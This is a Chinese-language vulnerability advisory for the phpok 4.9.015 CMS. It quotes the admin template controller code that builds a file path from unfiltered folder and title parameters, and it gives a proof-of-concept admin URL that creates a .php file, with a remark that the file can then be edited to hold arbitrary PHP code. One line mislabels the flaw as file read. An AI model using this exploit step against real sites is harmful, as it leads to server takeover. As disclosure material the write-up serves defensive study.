# phpok 任意文件创建漏洞

## 漏洞描述

phpok是深圳市锟铻科技有限公司一套采用PHP+MYSQL语言开发的企业网站系统。 phpok 4.9.015版本存在任意文件创建漏洞，攻击者可利用漏洞创建任意文件。

## 漏洞分析

在 `www\framework\admin\tpl_control.php` 文件 第219行

```
public function create_f()
{
    if(!$this->popedom["filelist"]){
        $this->error(P_Lang('您没有权限执行此操作'));
    }
    $id = $this->get("id","int");
    if(!$id){
        $this->error(P_Lang('未指定风格ID'));
    }
    $rs = $this->model('tpl')->get_one($id);
    if(!$rs){
        $this->error(P_Lang('风格信息不存在'));
    }
    if(!$rs["folder"]){
        $this->error(P_Lang('未设置风格文件夹'));
    }
    $folder = $this->get("folder");
    if(!$folder){
        $folder = "/";
    }
    $title = $this->get("title");
```

```
        $type = $this->get("type");
        if(!$type){
            $type = "file";
        }
        $file = $this->dir_root."tpl/".$rs["folder"].$folder.$title;
        if(file_exists($file)){
            $this->error(P_Lang('要创建的文件（夹）名称已经存在，请检查'));
        }
        if($type == "folder"){
            $this->lib('file')->make($file,"dir");
        }else{
            $this->lib('file')->make($file,"file");
        }
        $this->success();
    }
```

folder和title参数直接从 get方法获取，然后直接进行拼接构成file文件的路径，没有经过任何过滤，也没有限制文件扩展名，导致任意文件读取漏洞

## 漏洞证明

用管理员权限登录网站后台，访问下列url。

http://localhost/admin.php?c=tpl&f=create&id=1&folder=%2F&type=file&title=1.php

然后访问 http://localhost/admin.php?c=tpl&f=list&id=1 可以看到1.php文件创建成功，下一步编辑即可写入任意php代码